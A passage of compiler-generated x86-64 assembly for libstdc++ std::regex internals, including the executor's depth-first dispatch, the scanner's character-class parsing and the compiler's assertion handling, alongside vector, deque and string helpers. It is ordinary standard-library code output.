rax, rax add rax, rdx sal rax, 3 add rax, r13 mov rcx, r14 mov rdx, r12 mov rsi, rbx mov rdi, rax call _ZSt22__uninitialized_copy_aIPNSt7__cxx119sub_matchIPKcEES5_S4_ET0_T_S7_S6_RSaIT1_E .L1104: mov rax, QWORD PTR [rbp-56] mov rcx, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-40] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 lea rdx, [rcx+rax] mov rax, QWORD PTR [rbp-56] mov QWORD PTR [rax+8], rdx .L1098: mov rax, QWORD PTR [rbp-56] add rsp, 32 pop rbx pop r12 pop r13 pop r14 pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov eax, esi mov QWORD PTR [rbp-24], rdx mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] lea rdx, [rax+96] mov rax, QWORD PTR [rbp-24] mov rsi, rax mov rdi, rdx call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EE10_M_visitedEl test al, al jne .L1122 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-24] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 12 ja .L1107 mov eax, eax mov rax, QWORD PTR .L1111[0+rax*8] jmp rax .L1111: .quad .L1107 .quad .L1121 .quad .L1120 .quad .L1119 .quad .L1118 .quad .L1117 .quad .L1116 .quad .L1115 .quad .L1114 .quad .L1113 .quad .L1107 .quad .L1112 .quad .L1110 .L1120: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_handle_repeatENS9_11_Match_modeEl jmp .L1107 .L1114: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE23_M_handle_subexpr_beginENS9_11_Match_modeEl jmp .L1107 .L1113: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE21_M_handle_subexpr_endENS9_11_Match_modeEl jmp .L1107 .L1118: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE30_M_handle_line_begin_assertionENS9_11_Match_modeEl jmp .L1107 .L1117: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE28_M_handle_line_end_assertionENS9_11_Match_modeEl jmp .L1107 .L1116: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE23_M_handle_word_boundaryENS9_11_Match_modeEl jmp .L1107 .L1115: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE27_M_handle_subexpr_lookaheadENS9_11_Match_modeEl jmp .L1107 .L1112: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE15_M_handle_matchENS9_11_Match_modeEl jmp .L1107 .L1119: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE17_M_handle_backrefENS9_11_Match_modeEl jmp .L1107 .L1110: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_handle_acceptENS9_11_Match_modeEl jmp .L1107 .L1121: mov rdx, QWORD PTR [rbp-24] movzx ecx, BYTE PTR [rbp-12] mov rax, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE21_M_handle_alternativeENS9_11_Match_modeEl nop jmp .L1107 .L1122: nop .L1107: leave ret _ZNSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EEC2ISaIS5_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEESt20_Sp_alloc_shared_tagIT_EDpOT0_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-24] lea rbx, [rax+8] mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt7forwardIRNSt15regex_constants18syntax_option_typeEEOT_RNSt16remove_referenceIS3_E4typeE mov r12, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRKSt6localeEOT_RNSt16remove_referenceIS3_E4typeE mov rcx, rax mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov r8, r12 mov rsi, rax mov rdi, rbx call _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EEC1INSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS9_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEERPT_St20_Sp_alloc_shared_tagIT0_EDpOT1_ mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EE31_M_enable_shared_from_this_withIS5_S5_EENSt9enable_ifIXntsrNS8_15__has_esft_baseIT0_vEE5valueEvE4typeEPT_ nop add rsp, 32 pop rbx pop r12 pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8_M_eraseEmm: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv sub rax, QWORD PTR [rbp-48] sub rax, QWORD PTR [rbp-56] mov QWORD PTR [rbp-24], rax cmp QWORD PTR [rbp-24], 0 je .L1125 cmp QWORD PTR [rbp-56], 0 je .L1125 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rcx, rax mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-56] add rax, rdx lea rbx, [rcx+rax] mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-48] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-24] mov rdx, rax mov rsi, rbx mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_moveEPcPKcm .L1125: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv sub rax, QWORD PTR [rbp-56] mov rdx, rax mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm nop add rsp, 56 pop rbx pop rbp ret .LC25: .string "Unexpected end of character class." _ZNSt8__detail8_ScannerIcE12_M_eat_classEc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] add rax, 200 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5clearEv .L1128: mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L1127 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] cmp BYTE PTR [rbp-12], al je .L1127 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-8] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx eax, al mov rdx, QWORD PTR [rbp-8] add rdx, 200 mov esi, eax mov rdi, rdx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc jmp .L1128 .L1127: mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L1129 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-8] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] cmp BYTE PTR [rbp-12], al jne .L1129 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L1129 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-8] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] cmp al, 93 je .L1130 .L1129: mov eax, 1 jmp .L1131 .L1130: mov eax, 0 .L1131: test al, al je .L1135 cmp BYTE PTR [rbp-12], 58 jne .L1133 mov esi, OFFSET FLAT:.LC25 mov edi, 1 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc jmp .L1135 .L1133: mov esi, OFFSET FLAT:.LC25 mov edi, 0 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1135: nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE11_Deque_implC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEEC2Ev mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] add rax, 16 mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EC1Ev mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EC1Ev nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE17_M_initialize_mapEm: push rbp mov rbp, rsp push rbx sub rsp, 72 mov QWORD PTR [rbp-72], rdi mov QWORD PTR [rbp-80], rsi mov edi, 24 call _ZSt16__deque_buf_sizem mov rbx, rax mov rax, QWORD PTR [rbp-80] mov edx, 0 div rbx add rax, 1 mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-24] add rax, 2 mov QWORD PTR [rbp-56], rax mov QWORD PTR [rbp-48], 8 lea rdx, [rbp-56] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZSt3maxImERKT_S2_S2_ mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-72] mov rsi, rdx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_allocate_mapEm mov rdx, rax mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-72] mov rax, QWORD PTR [rax+8] sub rax, QWORD PTR [rbp-24] shr rax sal rax, 3 add rax, rdx mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-24] lea rdx, [0+rax*8] mov rax, QWORD PTR [rbp-32] add rax, rdx mov QWORD PTR [rbp-40], rax mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-72] mov rsi, rcx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_create_nodesEPPS5_S9_ mov rax, QWORD PTR [rbp-72] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-32] mov rsi, rax mov rdi, rdx call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_ mov rax, QWORD PTR [rbp-72] add rax, 48 mov rdx, QWORD PTR [rbp-40] sub rdx, 8 mov rsi, rdx mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_E11_M_set_nodeEPS7_ mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+16], rdx mov rax, QWORD PTR [rbp-72] mov rbx, QWORD PTR [rax+56] mov edi, 24 call _ZSt16__deque_buf_sizem mov rcx, rax mov rax, QWORD PTR [rbp-80] mov edx, 0 div rcx mov rax, rdx add rax, rax add rax, rdx sal rax, 3 lea rdx, [rbx+rax] mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+48], rdx jmp .L1142 mov rdi, rax call __cxa_begin_catch mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-72] mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-72] mov rsi, rcx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE17_M_deallocate_mapEPPS5_m mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rax+8], 0 call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1142: add rsp, 72 pop rbx pop rbp ret _ZSt7forwardIRKmEOT_RNSt16remove_referenceIS2_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZN9__gnu_cxx13new_allocatorImE9constructImJRKmEEEvPT_DpOT0_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRKmEOT_RNSt16remove_referenceIS2_E4typeE mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov rsi, rax mov edi, 8 call _ZnwmPv mov QWORD PTR [rax], rbx nop add rsp, 40 pop rbx pop rbp ret _ZN9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEC2ERKS1_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNKSt6vectorImSaImEE12_M_check_lenEmPKc: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE8max_sizeEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE4sizeEv sub rbx, rax mov rdx, rbx mov rax, QWORD PTR [rbp-48] cmp rdx, rax setb al test al, al je .L1148 mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZSt20__throw_length_errorPKc .L1148: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE4sizeEv mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE4sizeEv mov QWORD PTR [rbp-32], rax lea rdx, [rbp-48] lea rax, [rbp-32] mov rsi, rdx mov rdi, rax call _ZSt3maxImERKT_S2_S2_ mov rax, QWORD PTR [rax] add rax, rbx mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE4sizeEv cmp QWORD PTR [rbp-24], rax jb .L1149 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE8max_sizeEv cmp QWORD PTR [rbp-24], rax jbe .L1150 .L1149: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt6vectorImSaImEE8max_sizeEv jmp .L1151 .L1150: mov rax, QWORD PTR [rbp-24] .L1151: add rsp, 56 pop rbx pop rbp ret _ZNSt6vectorImSaImEE5beginEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-8] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEC1ERKS1_ mov rax, QWORD PTR [rbp-8] leave ret _ZN9__gnu_cxxmiIPmSt6vectorImSaImEEEENS_17__normal_iteratorIT_T0_E15difference_typeERKS8_SB_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEE4baseEv mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEE4baseEv mov rax, QWORD PTR [rax] sub rbx, rax mov rax, rbx sar rax, 3 add rsp, 24 pop rbx pop rbp ret _ZNSt12_Vector_baseImSaImEE11_M_allocateEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi cmp QWORD PTR [rbp-16], 0 je .L1158 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaImEE8allocateERS0_m jmp .L1160 .L1158: mov eax, 0 .L1160: leave ret _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEE4baseEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt34__uninitialized_move_if_noexcept_aIPmS0_SaImEET0_T_S3_S2_RT1_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt32__make_move_if_noexcept_iteratorImSt13move_iteratorIPmEET0_PT_ mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt32__make_move_if_noexcept_iteratorImSt13move_iteratorIPmEET0_PT_ mov rdi, rax mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rcx, rdx mov rdx, rax mov rsi, rbx call _ZSt22__uninitialized_copy_aISt13move_iteratorIPmES1_mET0_T_S4_S3_RSaIT1_E add rsp, 40 pop rbx pop rbp ret _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE12emplace_backIJS2_EEERS2_DpOT_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+16] cmp rdx, rax je .L1166 mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt7forwardINSt8__detail6_StateIcEEEOT_RNSt16remove_referenceIS3_E4typeE mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt8__detail6_StateIcEEEE9constructIS2_JS2_EEEvRS3_PT_DpOT0_ mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] lea rdx, [rax+48] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx jmp .L1167 .L1166: mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt7forwardINSt8__detail6_StateIcEEEOT_RNSt16remove_referenceIS3_E4typeE mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE3endEv mov rcx, rax mov rax, QWORD PTR [rbp-24] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE17_M_realloc_insertIJS2_EEEvN9__gnu_cxx17__normal_iteratorIPS2_S4_EEDpOT_ .L1167: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE4backEv add rsp, 24 pop rbx pop rbp ret _ZNSt8functionIFbcEE4swapERS1_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt4swapISt9_Any_dataENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleIS5_ESt18is_move_assignableIS5_EEE5valueEvE4typeERS5_SF_ mov rax, QWORD PTR [rbp-16] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-8] add rax, 16 mov rsi, rdx mov rdi, rax call _ZSt4swapIPFbRSt9_Any_dataRKS0_St18_Manager_operationEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISB_ESt18is_move_assignableISB_EEE5valueEvE4typeERSB_SL_ mov rax, QWORD PTR [rbp-16] lea rdx, [rax+24] mov rax, QWORD PTR [rbp-8] add rax, 24 mov rsi, rdx mov rdi, rax call _ZSt4swapIPFbRKSt9_Any_dataOcEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISA_ESt18is_move_assignableISA_EEE5valueEvE4typeERSA_SK_ nop leave ret .LC26: .string "Parenthesis is not closed." _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE12_M_assertionEv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 176 mov QWORD PTR [rbp-184], rdi mov rax, QWORD PTR [rbp-184] mov esi, 22 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1171 mov rax, QWORD PTR [rbp-184] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE20_M_insert_line_beginEv mov r12, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-144] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-144] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ jmp .L1172 .L1171: mov rax, QWORD PTR [rbp-184] mov esi, 23 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1173 mov rax, QWORD PTR [rbp-184] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE18_M_insert_line_endEv mov r12, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-112] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-112] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ jmp .L1172 .L1173: mov rax, QWORD PTR [rbp-184] mov esi, 24 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1174 mov rax, QWORD PTR [rbp-184] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-184] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] cmp al, 110 sete al movzx eax, al mov esi, eax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE20_M_insert_word_boundEb mov r12, rax mov rax, QWORD PTR [rbp-184] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-80] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-80] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ jmp .L1172 .L1174: mov rax, QWORD PTR [rbp-184] mov esi, 7 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1175 mov rax, QWORD PTR [rbp-184] add rax, 272 mov esi, 0 mov rdi, rax call 